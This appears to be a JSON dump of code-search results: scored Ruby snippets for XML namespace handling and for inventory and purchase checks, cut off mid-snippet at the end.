[ { "docid": "736a21dffcd839c574f5483d3be930f3", "score": "0.63569015", "text": "def namespaces; end", "title": "" }, { "docid": "791ab9dd4c68169514d95b1225256dd4", "score": "0.62777066", "text": "def namespaces()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "83341ff0d64168d9ba0614958fec4414", "score": "0.6247161", "text": "def used_names; end", "title": "" }, { "docid": "83341ff0d64168d9ba0614958fec4414", "score": "0.6247161", "text": "def used_names; end", "title": "" }, { "docid": "999c995f4f6a9b5ca1ee2e6a0383f0ab", "score": "0.6159531", "text": "def namespace_scopes()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b9e5529bc9e87295719babf690b54322", "score": "0.6156969", "text": "def namespace_definitions()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "f329799fc0c525f9d32492b8682bbf4d", "score": "0.6118474", "text": "def namespace_lookup; end", "title": "" }, { "docid": "7b33e36592a62c550f616f62f4ca892f", "score": "0.60258853", "text": "def namespace_identifier\n\t\t\t\t\tend", "title": "" }, { "docid": "a6cf408b7bb1fa4916be73a3345b42e9", "score": "0.6010263", "text": "def load_namespaces\n\t\t\tnamespace_instructions = []\n\t\t\tns_pi = self.find_all { |i| i.is_a? REXML::Instruction and i.target == 'xml:ns' }\n\t\t\tns_pi.each do |i|\n\t\t\t\tif i.attributes.has_key?('name')\n i.attributes['prefix'] = i.attributes['name']\n elsif i.attributes.has_key?('prefix')\n i.attributes['name'] = i.attributes['prefix']\n else\n i.attributes['name'] = i.attributes['prefix'] = ''\n end\n if i.attributes.has_key?('space')\n i.attributes['uri'] = i.attributes['space']\n elsif i.attributes.has_key?('uri')\n i.attributes['space'] = i.attributes['uri']\n else\n\t\t\t\t\ti.attributes['space'] = i.attributes['uri'] = ''\n\t\t\t\tend\n namespace_instructions << i\n\t\t\tend\n\t\t\treturn namespace_instructions\n\t\tend", "title": "" }, { "docid": "7c1ce27f0370d76ec6ab62cbb7b88151", "score": "0.59592575", "text": "def namespaces\n names = self.class.name.split(\"::\")\n names.pop\n \n names.map(&:underscore).map(&:to_sym)\n end", "title": "" }, { "docid": "7b0d25af1ba02531231ffcba709f0921", "score": "0.59488696", "text": "def ox_namespaces\n self.terminology.namespaces\n end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "78719f289c71d50d2a22bc25260fd741", "score": "0.5938919", "text": "def namespace; end", "title": "" }, { "docid": "b0e114efebd57338a604d5f293fbc278", "score": "0.5927327", "text": "def collect_namespaces(object); end", "title": "" }, { "docid": "2cb9d2ae1128e3a812be0b08704d670e", "score": "0.59269994", "text": "def ns()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "fbc7e0afbceca83989578b9d9c05b967", "score": "0.59171253", "text": "def create_namespace_attrlist\n @namespace_instructions.each do |nsi|\n self.add_namespace(nsi.attributes['prefix'], nsi.attributes['uri'])\n end\n end", "title": "" }, { "docid": "b130c4bb8131fa1bded01686b51ea5d3", "score": "0.5878286", "text": "def namespace_declarations(ctx)\n ctx.namespace_scopes.map do |namespace|\n prefix = namespace.prefix.nil? ? \"\" : \":#{namespace.prefix}\"\n %{xmlns#{prefix}=\"#{namespace.href}\"}\n end.join(\" \")\n end", "title": "" }, { "docid": "715690754ca612be727050d0b3c25ead", "score": "0.58335567", "text": "def namespaces\n @namespaces ||= self.class.name.split('::').slice(0...-1).map(&:underscore).map(&:to_sym)\n end", "title": "" }, { "docid": "c0c1bb8cd6b15a39764f57f21fcec3cd", "score": "0.58071536", "text": "def __namespace_definitions\n @__namespace_definitions ||= []\n end", "title": "" }, { "docid": "bc93dc603c4365ffdb9c7cffb4f9f2a3", "score": "0.57857305", "text": "def namespaces\n store.namespaces\n end", "title": "" }, { "docid": "bc93dc603c4365ffdb9c7cffb4f9f2a3", "score": "0.57857305", "text": "def namespaces\n store.namespaces\n end", "title": "" }, { "docid": "c02bc5c4e37251d829fa9f3a0c46b757", "score": "0.57561725", "text": "def each_namespaced_symbol\n self.nested_symbols.inject([]) do |name, symbol|\n name << symbol\n yield name.join('::').to_sym\n name\n end\n end", "title": "" }, { "docid": "9999b968dba7e708b93cbae87e5fe4da", "score": "0.57353413", "text": "def namespaces\n ivar_cache(\"object_namespaces\") do\n nss = []\n full_name = self.class.name.to_s\n nss = full_name.split(\"::\")\n nss.pop\n nss\n end\n end", "title": "" }, { "docid": "18dde1c1db1acbd414968f5fa25021be", "score": "0.5728585", "text": "def show_element_namespaces\n @namespaces = @institution.element_namespaces.order(:prefix)\n @unaccounted_prefixes = @institution.registered_element_prefixes -\n @namespaces.map(&:prefix)\n render partial: \"show_element_namespaces_tab\"\n end", "title": "" }, { "docid": "7ecf0722229d8e5dec9c2b88b5f5f33e", "score": "0.57148063", "text": "def register_namespaces_from_node(node)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "b9bcd3952e2a2d84cef4550ce2ce0e07", "score": "0.5713626", "text": "def load_namespaces\n\t\t\tnamespace_instructions = {}\n\t\t\tns_pi_entities = @xml_document.find_all { |i| i.is_a? REXML::Instruction and i.target == 'xml:ns' }\n\t\t\tns_pi_entities.each do |i|\n\t\t\t\tif not (i.attributes.has_key?('name') or i.attributes.has_key?('prefix'))\n\t\t\t\t\traise \"Namespace instruction missing required name or prefix attribute.\"\n\t\t\t\telsif not (i.attributes.has_key?('space') or i.attributes.has_key?('uri'))\n\t\t\t\t\traise \"Namespace instruction missing required space or uri attribute.\"\n\t\t\t\telse\n\t\t\t\t\tn = i.attributes.has_key?('name') ? i.attributes['name'] : i.attributes['prefix']\n\t\t\t\t\ts = i.attributes.has_key?('space') ? i.attributes['space'] : i.attributes['uri']\n\t\t\t\t\tnamespace_instructions[n] = s\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn namespace_instructions\n\t\tend", "title": "" }, { "docid": "00f42fad0f1575e4d1288e0b4746e77f", "score": "0.57076764", "text": "def namespace()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "00f42fad0f1575e4d1288e0b4746e77f", "score": "0.57076764", "text": "def namespace()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "6717e2df50bc3ae319fc04926c608a56", "score": "0.5693497", "text": "def namespace(ns); end", "title": "" }, { "docid": "1529696a0c1384e2b899a82588ae249e", "score": "0.56846774", "text": "def ns_values; end", "title": "" }, { "docid": "1529696a0c1384e2b899a82588ae249e", "score": "0.56846774", "text": "def ns_values; end", "title": "" }, { "docid": "e666a15ab92107a52f59387d96596268", "score": "0.5647706", "text": "def defined_names; end", "title": "" }, { "docid": "e1741ce398a1772366d6b0b91a558ee5", "score": "0.56233287", "text": "def as_namespace\n @namespaces\n end", "title": "" }, { "docid": "61cb37f453fc7f96acd907c70a52af88", "score": "0.561763", "text": "def get_var_entity_set_keys(base, count)\n keys = \"\"\n count.times do |n|\n keys << \"public static FullQualifiedName #{base.upcase}_ENTITY_SET_TYPE_KEY_#{n+1} = REPLACEME_WITH_FQN;\\n\"\n end\n return keys\nend", "title": "" }, { "docid": "0b3acd76fbd8e908d68fc8f09011179f", "score": "0.5614808", "text": "def entities_names\n @entities_names ||= self.entities.keys\n end", "title": "" }, { "docid": "c33f412193d99df3026768bc9c5d5c88", "score": "0.5600272", "text": "def graph_names(unique: true)\n (named? ? [graph_name] : []).extend(RDF::Countable)\n end", "title": "" }, { "docid": "b1bd2fee509e2b6a5453154bb6847f5a", "score": "0.5568161", "text": "def _fix_ns(namespace); end", "title": "" }, { "docid": "a284a6133308942dbfc2971c7f682806", "score": "0.55525434", "text": "def hidden_namespaces; end", "title": "" }, { "docid": "a284a6133308942dbfc2971c7f682806", "score": "0.55525434", "text": "def hidden_namespaces; end", "title": "" }, { "docid": "4dcdd1c634526d529c5054b696a684ff", "score": "0.55248946", "text": "def ox_namespaces\n @ox_namespaces ||= ng_xml.namespaces.merge(self.class.ox_namespaces)\n end", "title": "" }, { "docid": "4dcdd1c634526d529c5054b696a684ff", "score": "0.55248946", "text": "def ox_namespaces\n @ox_namespaces ||= ng_xml.namespaces.merge(self.class.ox_namespaces)\n end", "title": "" }, { "docid": "57d07db4931ba25a1ba515d99d4e7dea", "score": "0.54963666", "text": "def parse_namespaces\n\n @namespaces = []\n\n @source.root.namespaces.each { |ns|\n pf = ( ns[0] == 'xmlns' ) ? '' : ns[0]\n nm = ns[1]\n @namespaces << { :prefix => pf, :name => nm, }\n }\n\n #ns_regexp = /xmlns:?(\\w+)?=([\\'\\\"])([\\w.*\\/:]+)([\\'\\\"])/\n #ns = []\n #doc.each { |line|\n # if line =~ ns_regexp\n # ns << { :prefix => \"#{$1}\", :name => $2, }\n # puts $1\n # end\n #}\n\n # @namespaces = ns.uniq\n\n end", "title": "" }, { "docid": "ed5a45cbb985ed7d006e327e89d41f4f", "score": "0.5470423", "text": "def namespaces()\n ret=[self]\n \ttypes.each do |t|\n \tret << t unless ret.any? { |tt| t.namespace_abbr == tt.namespace_abbr }\n end\n ret\n end", "title": "" }, { "docid": "1b7b2e431c4c464b4beece20fbfae790", "score": "0.54606354", "text": "def namespace_key()\n \"#{@document_key}<namespaces\"\n end", "title": "" }, { "docid": "479430673435567eeb9813da2197cf5e", "score": "0.54455984", "text": "def hidden_namespaces\n @hidden_namespaces ||= []\n end", "title": "" }, { "docid": "92491db48c6e1cd2ee27a22df313a094", "score": "0.5443149", "text": "def name\n @ns\n end", "title": "" }, { "docid": "2332fdc885812d2b44f3b2b1d480b642", "score": "0.542923", "text": "def get_namespaces\n raise NotImplementedError\n end", "title": "" }, { "docid": "7081dc1566f6324db89d3d1263066a62", "score": "0.5425948", "text": "def remove_namespaces!()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "1e3848e968816a47acc92d25a6ea4d4a", "score": "0.541791", "text": "def ox_namespaces\n @ox_namespaces ||= ng_xml.namespaces.merge(self.class.ox_namespaces).reject { |k,v| v.nil? || v.empty? }\n end", "title": "" }, { "docid": "426c1a8cdb643096dc5c00ad2720bda2", "score": "0.5407065", "text": "def additional_namespaces\n @additional_namespaces ||= {}\n end", "title": "" }, { "docid": "664827fb57ebf8ced74dfcfa2a826026", "score": "0.5396591", "text": "def namespaces\n self.class.namespaces\n end", "title": "" }, { "docid": "4501dabe43bdd12c0431b3cc5a103210", "score": "0.5394109", "text": "def namespace_component_names\n if self.name.nil? || self.name == ''\n []\n else\n unprefixed_names = unprefixed_namespace_component_names\n \n names = []\n\n while current_name = unprefixed_names.pop\n current_full_name = (unprefixed_names + [current_name]).join('::')\n names.unshift(current_full_name)\n end\n \n names\n end\n end", "title": "" }, { "docid": "092762fba0eacc0876b40a215e1bbe11", "score": "0.5391947", "text": "def prefix()\n return @production.symbols.slice( 0, @at )\n end", "title": "" }, { "docid": "f345248d58dd4340981062278c087b3a", "score": "0.53873515", "text": "def register_namespaces(p1)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "cd8f1c9d9e6ced185cc5ee5d57a7f08f", "score": "0.5385937", "text": "def constant_names(node); end", "title": "" }, { "docid": "acc7fcde2bb7397d0f6b0950c7f94418", "score": "0.53832555", "text": "def name_search(namespace); end", "title": "" }, { "docid": "acc7fcde2bb7397d0f6b0950c7f94418", "score": "0.53832555", "text": "def name_search(namespace); end", "title": "" }, { "docid": "386eb776f7c71c269505e8a13c405dfb", "score": "0.5383034", "text": "def __save_on_database(db, t)\n t.rubyrel_catalog.namespaces << __to_catalog_tuple\n end", "title": "" }, { "docid": "6d64537d189686bf26e60411dc4a490e", "score": "0.5382112", "text": "def namespaces\n @namespaces ||= { \"xmlns:env\" => Namespace[version] }\n end", "title": "" }, { "docid": "4edb55d2c994557bae0d68b716c41660", "score": "0.53718007", "text": "def namespace\n self.class.namespaace\n end", "title": "" }, { "docid": "b38953769d512f50b3f405b8747bf798", "score": "0.5363978", "text": "def namespaces\n @namespaces ||= Namespace.find_by_uid(uid)\n end", "title": "" }, { "docid": "7530f1a8ab6d23f4dab55c820c4ce5eb", "score": "0.5359389", "text": "def cached_ids_name; end", "title": "" }, { "docid": "7530f1a8ab6d23f4dab55c820c4ce5eb", "score": "0.5359389", "text": "def cached_ids_name; end", "title": "" }, { "docid": "4c5615f3046c4633621731ddd8094fab", "score": "0.53373045", "text": "def lookup_namespace(prefix)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "3dc24d80ecc298bdbbfe7d022990ba97", "score": "0.5334995", "text": "def namespaces\n ns = {}\n ns[:envelope] = {key:'env', value: 'http://www.w3.org/2003/05/soap-envelope'}\n ns[:content] = {key:'ns1', value: 'http://tempuri.org/'}\n ns[:profile] = {key:'ns2', value: 'http://schemas.datacontract.org/2004/07/SAPI.Entities.Admin'}\n ns[:wsa] = {key:'ns3', value: 'http://www.w3.org/2005/08/addressing'}\n ns[:shipment] = {key:'ns4', value: 'http://schemas.datacontract.org/2004/07/SAPI.Entities.WayBillGeneration'}\n ns[:pickup] = {key:'ns5', value: 'http://schemas.datacontract.org/2004/07/SAPI.Entities.Pickup'}\n ns\n end", "title": "" }, { "docid": "3dc24d80ecc298bdbbfe7d022990ba97", "score": "0.5334995", "text": "def namespaces\n ns = {}\n ns[:envelope] = {key:'env', value: 'http://www.w3.org/2003/05/soap-envelope'}\n ns[:content] = {key:'ns1', value: 'http://tempuri.org/'}\n ns[:profile] = {key:'ns2', value: 'http://schemas.datacontract.org/2004/07/SAPI.Entities.Admin'}\n ns[:wsa] = {key:'ns3', value: 'http://www.w3.org/2005/08/addressing'}\n ns[:shipment] = {key:'ns4', value: 'http://schemas.datacontract.org/2004/07/SAPI.Entities.WayBillGeneration'}\n ns[:pickup] = {key:'ns5', value: 'http://schemas.datacontract.org/2004/07/SAPI.Entities.Pickup'}\n ns\n end", "title": "" }, { "docid": "c1bf163cfe7705075b4b1a5f8f571886", "score": "0.5329217", "text": "def extension_namespaces\n @extensions.keys.map{|e|e::NS_URI}\n end", "title": "" }, { "docid": "a3bbdb45e50fd0ebdcfe4419c40185c3", "score": "0.5323315", "text": "def index\n authorize ElementNamespace\n @namespaces = current_institution.element_namespaces.order(:prefix)\n @unaccounted_prefixes = current_institution.registered_element_prefixes -\n @namespaces.map(&:prefix)\n end", "title": "" }, { "docid": "03fa327a8c323009d7d31573b08ae74b", "score": "0.5316893", "text": "def namespaces ns = \"root\", cn = \"__Namespace\"\n result = []\n each_instance( ns, cn ) do |inst|\n name = \"#{ns}/#{inst.Name}\"\n result << name\n result.concat namespaces name, cn\n end\n result.uniq\n end", "title": "" }, { "docid": "03fa327a8c323009d7d31573b08ae74b", "score": "0.5316893", "text": "def namespaces ns = \"root\", cn = \"__Namespace\"\n result = []\n each_instance( ns, cn ) do |inst|\n name = \"#{ns}/#{inst.Name}\"\n result << name\n result.concat namespaces name, cn\n end\n result.uniq\n end", "title": "" }, { "docid": "11b866eb67bcb2f6fb3e2798e6653ab4", "score": "0.531621", "text": "def namelistexp; end", "title": "" }, { "docid": "dafdd635795bfe522cf5d7f0d807a3c3", "score": "0.53121907", "text": "def __namespace_definitions\n @__namespace_definitions ||= self.class.__namespace_definitions.clone\n end", "title": "" }, { "docid": "090a6cc2bef3cd0c7f808999f2a604b6", "score": "0.5310427", "text": "def namespace\n self[:ns]\n end", "title": "" }, { "docid": "2be7bb8a78e2aedfe702343cf8091e66", "score": "0.5309856", "text": "def current_namespace\n @current_namespace ||= []\n end", "title": "" }, { "docid": "7eeb52b08d904a4e690cf408564e90b5", "score": "0.5296366", "text": "def declared_namespace\n [module_name]\n end", "title": "" }, { "docid": "016d8b853056aaf06b5007532f5a2bef", "score": "0.52878946", "text": "def cached_ontologies\n @cached_ontologies.keys\n end", "title": "" }, { "docid": "954a292a475d4907c2b7f80b317592ed", "score": "0.52866167", "text": "def namespace\n @namespace\n end", "title": "" }, { "docid": "61315a00c1a472366e56592367692106", "score": "0.528275", "text": "def ns_each; end", "title": "" }, { "docid": "61315a00c1a472366e56592367692106", "score": "0.528275", "text": "def ns_each; end", "title": "" }, { "docid": "6924041883c6f9c438028db6608a30a4", "score": "0.5278226", "text": "def namespace\n @namestack.join(\"::\")\n end", "title": "" }, { "docid": "5c8bcc9847d90ea6bb8019be41bf71e7", "score": "0.5271419", "text": "def ox_namespaces\n if @terminology.nil?\n return {}\n else\n return @terminology.namespaces\n end\n end", "title": "" }, { "docid": "bd7e821651e5773da031b2cf99825156", "score": "0.52545", "text": "def namespace_mappings\n super\n end", "title": "" }, { "docid": "d11af46c8ef1aed25b1b12cc1fc32fe7", "score": "0.5250859", "text": "def defaultNameSpaceTable\n return NameSpaceTable ;\n end", "title": "" }, { "docid": "2bba33df8d2eecebacc7092c88a5a1f3", "score": "0.5224596", "text": "def name_to_id_by_namespace\n Hash[ obos.map(&:namespace).zip(obos.map(&:make_name_to_id)) ]\n end", "title": "" }, { "docid": "fe500736408dee94a1dee6010d31e0e5", "score": "0.5210858", "text": "def namespaces\n [\n \"http://www.fedora.info/definitions/v4/\",\n \"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n ]\n end", "title": "" }, { "docid": "5e256304cd0e61a4aa650c1d90f49c44", "score": "0.5192244", "text": "def namespaces\r\n @namespaces ||= XML::Namespaces.new(self)\r\n end", "title": "" }, { "docid": "83eef7eda061dd969945d087b20f5da7", "score": "0.51882464", "text": "def add_namespace_definition(prefix, href)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "0203a0ddd1ab12c5ed6f7fc8347d1a06", "score": "0.5177238", "text": "def namespace\n if @namespace.nil?\n pin = @source.locate_namespace_pin(line, character)\n @namespace = (pin.nil? ? '' : pin.path)\n end\n @namespace\n end", "title": "" }, { "docid": "64ee65f8fc2a8e13f8ba0ae4877e9686", "score": "0.51768655", "text": "def namespace\n prefix\n end", "title": "" }, { "docid": "da0809c48f51334c12e66e2bb2991163", "score": "0.5174717", "text": "def namespace_uri()\n #This is a stub, used for indexing\n end", "title": "" } ]
ccad47539b2272c01e9b2e3756ea64d1
Returns whether a set number of items MUST be purchased in order to get the sale price
[ { "docid": "1129cf0c63c61d6f15ebb0d2a9833b0d", "score": "0.6488244", "text": "def quantity_required?\n @is_quantity_required || self.quantity_for_free > 0\n end", "title": "" } ]
[ { "docid": "0c01c1b033de55b23d1c2685a7a83758", "score": "0.7767792", "text": "def can_purchase?(n)\n inventory_count - n >= 0\n end", "title": "" }, { "docid": "c59e4dc34fd9a3b8afccffca733f38f4", "score": "0.7650344", "text": "def valid_for?(items)\n return false if qty_threshold && valid_items(items).count < qty_threshold\n return false if spend_threshold && valid_items(items).map(&:price).reduce(&:+) < spend_threshold\n true\n end", "title": "" }, { "docid": "ae289379428bce23a7380ab609c10f72", "score": "0.7505018", "text": "def sufficient_inventory?\n skus = Product.where(id: items.map(&:product_id)).pluck(:sku).uniq\n\n skus.each do |sku|\n qty_required = items.select { |x| x.product.sku == sku }.sum(&:quantity)\n qty_available = InventoryItem.joins(:inventory_transaction)\n .where(\"inv_transactions.archived\" => false)\n .where(sku: sku)\n .sum(:quantity)\n return false if qty_required > qty_available\n end\n\n true\n end", "title": "" }, { "docid": "e80150bb9d76ff2f4593e432cb2de3ca", "score": "0.73765546", "text": "def applies_to? cart\n return false unless available?\n\n rl = lines_for_products(cart, required_products)\n al = lines_for_products(cart, associated_products)\n ol = cart.line_items - al - rl\n\n return false unless meets_requires_minimum_purchase?(rl, al, ol)\n return false unless meets_requires_all?(rl, al, ol)\n return false unless meets_requires_any?(rl, al, ol)\n return false unless meets_requires_distinct_count?(rl, al, ol)\n return false unless meets_requires_total_count?(rl, al, ol)\n\n return false unless meets_can_apply_to_max_associated?(rl, al, ol)\n return false unless meets_can_apply_to_all_associated?(rl, al, ol)\n\n return false unless meets_can_apply_to_max_lte_required?(rl, al, ol)\n return false unless meets_can_apply_to_max_lte_associated?(rl, al, ol)\n return false unless meets_can_apply_to_max_lte_other?(rl, al, ol)\n\n true\n end", "title": "" }, { "docid": "078676ebcf9f72f4919d31b453b6234f", "score": "0.73387855", "text": "def purchased?\n quantity == purchased\n end", "title": "" }, { "docid": "f078b3ed6d4ebf0e1571751ead556c65", "score": "0.7273163", "text": "def can_purchase?(i = 0)\n product.can_purchase?(quantity + i)\n end", "title": "" }, { "docid": "932b5f49362eca04b9c897d6389496bf", "score": "0.7043588", "text": "def multi_qty? listing\n get_item_amt(listing) > 1\n end", "title": "" }, { "docid": "418f1f79e84bb63d072bd5ce97f6d5d1", "score": "0.6981935", "text": "def quantity_appliacble_for_sale_price?(item, quantity)\n\t\t\tsale_price = get_sale_price(item)\n\t\t\tsale_price.sale_price_quantity <= quantity\n\t\tend", "title": "" }, { "docid": "c7ffcf792d15c6d2ba0ac4cfb504682b", "score": "0.6943503", "text": "def has_sold_items?\n items.each do |item|\n return true if item.sold?\n end\n false\n end", "title": "" }, { "docid": "98b144384b86674dea8115e44a3e2be7", "score": "0.6940602", "text": "def is_applicable?(price)\n # Hint: if price is greater than or equal to @minimum_purchase_amount, return appropriate boolean\n end", "title": "" }, { "docid": "76a9d80b12b5b18483f15ca8be669731", "score": "0.69266385", "text": "def has_items?\n total_items.positive?\n end", "title": "" }, { "docid": "627f915b05bba5a27f286fad25f5b85a", "score": "0.68861777", "text": "def discounted_products?\n original_product_total > product_total\n end", "title": "" }, { "docid": "01a5048a4ded71eae6dca4ee85d13356", "score": "0.68729377", "text": "def itemPriceIsMoreThen?(total)\n formula_products_vendor = [\"Product vendor List\"]\n sum_price = Money.zero\n for item in Input.cart.line_items\n if formula_products_vendor.include?(item.variant.product.vendor) && item.variant.product.product_type == \"Comida\"\n sum_price = sum_price + item.line_price\n end\n end\n if sum_price >= total\n return true\n else \n return false\n end\nend", "title": "" }, { "docid": "ecb19de8d8f652fb952698c69dfe20ad", "score": "0.6855926", "text": "def can_fit_item?(item, amount)\n return false if amount <= 0\n result = true\n self.requires.each do | key |\n avail = amount_free(key)\n result = result && (avail >= amount)\n end\n return result\n end", "title": "" }, { "docid": "a00bfc70486d2d7864a624768b8b5b6d", "score": "0.68372226", "text": "def sufficient_stock?\n quantity <= product.available_stock\n end", "title": "" }, { "docid": "a6384e9545da653d6dd56f4d9e113a4f", "score": "0.6828231", "text": "def set_discount?\n return false unless @items[0].product.product_set_member?\n group_products = @items.collect(&:product)\n set_products = @items[0].product.product_set.products.select { |p| p.display? }\n return (group_products.size == set_products.size && group_products.sort == set_products.sort)\n end", "title": "" }, { "docid": "0a5cec672382188be3c2f72d0247c080", "score": "0.68039083", "text": "def discounted?\n tickets.size == 8\n end", "title": "" }, { "docid": "69567427b4f8f23725fea94806e9d5d1", "score": "0.6801656", "text": "def did_anyone_buy_this_product\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items Present')\n return false\n end\n end", "title": "" }, { "docid": "07dc1a7ab8eaaaea2f36d65231df868a", "score": "0.6800207", "text": "def allow_purchase?\n stock > 0 && available_for_sale && !vendor.vacation\n end", "title": "" }, { "docid": "2fd679dd2e97acaf797ba1523be6e83c", "score": "0.6786902", "text": "def can_buy_item?(cost)\n return true if @wealth >= cost\n false\n end", "title": "" }, { "docid": "7b829c58fb1a40fc9f3777ff28bc9ad0", "score": "0.67779577", "text": "def can_be_paid?\n on_hold? && order_items.all? {|e| e.product.available?(self.system) && e.product.quantity(self.system) >= e.quantity}\n end", "title": "" }, { "docid": "ad9d27d13f3ed9e4b0b9f4dbe71b08be", "score": "0.6757384", "text": "def itemsFillable?(items)\n fillable = true\n\n items.each do |itm|\n product = DataStore.instance.getProduct(itm.productId)\n if product.quantityOnHand < itm.quantity\n fillable = false\n break\n end\n end\n fillable\n end", "title": "" }, { "docid": "9a1bd748e402c902ed2ae25949ae3419", "score": "0.67566216", "text": "def has_slots_available\n (6 - products.count) > 0\n end", "title": "" }, { "docid": "9acf67e999e849dc3902607f4e6147b8", "score": "0.6752672", "text": "def restrict_purchase\n return false unless price_group && product\n !can_purchase?\n end", "title": "" }, { "docid": "ba580e9dd9c0b9f6ae59e9fb99613618", "score": "0.6745508", "text": "def can_be_added_to_cart?(count)\n self.in_cart_count + count <= self.inventory_count\n end", "title": "" }, { "docid": "461da59fa8fdba6790fc34c13fe23e6d", "score": "0.67130435", "text": "def item_required?\n return (@tool_itemcost || 0) > 0 || (@tool_itemcost_type || 0) > 0\n end", "title": "" }, { "docid": "461da59fa8fdba6790fc34c13fe23e6d", "score": "0.67130435", "text": "def item_required?\n return (@tool_itemcost || 0) > 0 || (@tool_itemcost_type || 0) > 0\n end", "title": "" }, { "docid": "4a96c2cf49abf4715b8eebdd1410df3f", "score": "0.67125934", "text": "def satisfied?\n insufficient_items.empty?\n end", "title": "" }, { "docid": "08992178ca4fd8a6566e7972c7f8ba72", "score": "0.671215", "text": "def qualify?\n if @current_total > @min_basket_price.to_i\n true\n else\n false\n end\n end", "title": "" }, { "docid": "f7f1ce4f2e6b0c19493bfa8107f7aa2f", "score": "0.6681642", "text": "def vendor_can_sell(amount_needing_to_sell, vendor, item)\n vendor_stock = vendor.check_stock(item)\n return vendor_stock if amount_needing_to_sell > vendor_stock\n amount_needing_to_sell\n end", "title": "" }, { "docid": "2c2237f1293c7182878e59cc92258ec8", "score": "0.66765153", "text": "def can_be_purchased?(sys = current_system, qty_needed = 1)\n pre_order?(sys) && quantity(sys) >= qty_needed || backorder_allowed?(sys) && !pre_order?(sys) && out_of_stock? && listable?(sys) && orderable?(sys) ||\n backorder_allowed?(sys) && !pre_order?(sys) && listable?(sys, qty_needed - 1) && orderable?(sys) || !backorder_allowed?(sys) && available?(sys) && quantity(sys) >= qty_needed\n end", "title": "" }, { "docid": "ab092504501ae6db11854444f7ddd4f3", "score": "0.666233", "text": "def purchase?(product)\n products.include?(product)\n end", "title": "" }, { "docid": "b69e88a2b8ccae909a0810b193c74543", "score": "0.6639443", "text": "def can_i_sell?(item, amount)\n (list[item.to_sym].to_i - amount >= 0)\n end", "title": "" }, { "docid": "84226a3a88ad59e3459eff6b6a35aa8f", "score": "0.6634469", "text": "def purchased?\n @purchased\n end", "title": "" }, { "docid": "347b6175689cb8cbb9902ab320f0e5b9", "score": "0.66108245", "text": "def item_has_sale_price? item\n\t\t\t!Item.find_by_name(item).sale_price.nil?\n\t\tend", "title": "" }, { "docid": "1ceaa8d7996e51aeab3c6f9e98f0a378", "score": "0.6604004", "text": "def enough_product?\n errors.add(:product, 'There are no enough products') unless self.product.quantity > 0\n end", "title": "" }, { "docid": "baefb2902144b2a95aa3f05cf20314ca", "score": "0.65761846", "text": "def available?\n product = self.product\n\n if self.quantity > product.quantity\n return false\n else\n return true\n end\nend", "title": "" }, { "docid": "1cd84bea4b6f51cb935e09cabadb8c62", "score": "0.656876", "text": "def is_discounted?\n if price && price >= 5\n false\n else\n true\n end\n end", "title": "" }, { "docid": "d25072a6f5de3f8fcbbaa705153f99f4", "score": "0.65670455", "text": "def products_count_checking(user)\n\tpricing_count=user.store_owner.pricing_plan.no_of_products\n\tproducts_count=Product.where(:domain_url=>user.domain_url,:deleted_at=>nil).length\n\tif pricing_count>products_count\n\treturn true\n\telse\n\treturn false\n\tend\nend", "title": "" }, { "docid": "c5deea275d75c113d02399533babfffb", "score": "0.6565686", "text": "def has_cost_items?\n if trial_summary\n trial_summary.has_cost_item\n else\n false\n end\n end", "title": "" }, { "docid": "b2a647fa260a35b83218414b56d447ee", "score": "0.6561147", "text": "def sold_out?\n n = tickets.sum(:num_tickets) || 0\n n >= max_tickets\n end", "title": "" }, { "docid": "2d8c3e264b45a56df154ad3a5bc306a5", "score": "0.65595496", "text": "def allow_deferred?\n is_sizzix_us? && sub_total < 1000.01 && cart_items.any? {|o| o.eclips?}\n end", "title": "" }, { "docid": "c6af54b8e1f1e02c54560ae8024b1eca", "score": "0.65518135", "text": "def has_items?\n total_items > 0\n end", "title": "" }, { "docid": "c6af54b8e1f1e02c54560ae8024b1eca", "score": "0.65518135", "text": "def has_items?\n total_items > 0\n end", "title": "" }, { "docid": "0697285182e63997b4059799ff7053e3", "score": "0.6545255", "text": "def price_required?\n self.sizes.count == 0 \n end", "title": "" }, { "docid": "03cb1330a60234982c3a815bfe52a294", "score": "0.65282446", "text": "def verify_ordered_items_count(options={})\r\n count_drugs = get_css_count(\"css=#cart>div:nth-child(2)>div.item\").to_i\r\n count_supplies = get_css_count(\"css=#cart>div:nth-child(4)>div.item\").to_i\r\n count_ancillary = get_css_count(\"css=#cart>div:nth-child(6)>div.item\").to_i\r\n count_others = get_css_count(\"css=#cart>div:nth-child(8)>div.item\").to_i\r\n count_oxygen = get_css_count(\"css=#cart>div:nth-child(10)>div.item\").to_i\r\n count_special = get_css_count(\"css=#cart>div:nth-child(12)>div.item\").to_i\r\n\r\n if options[:drugs] && 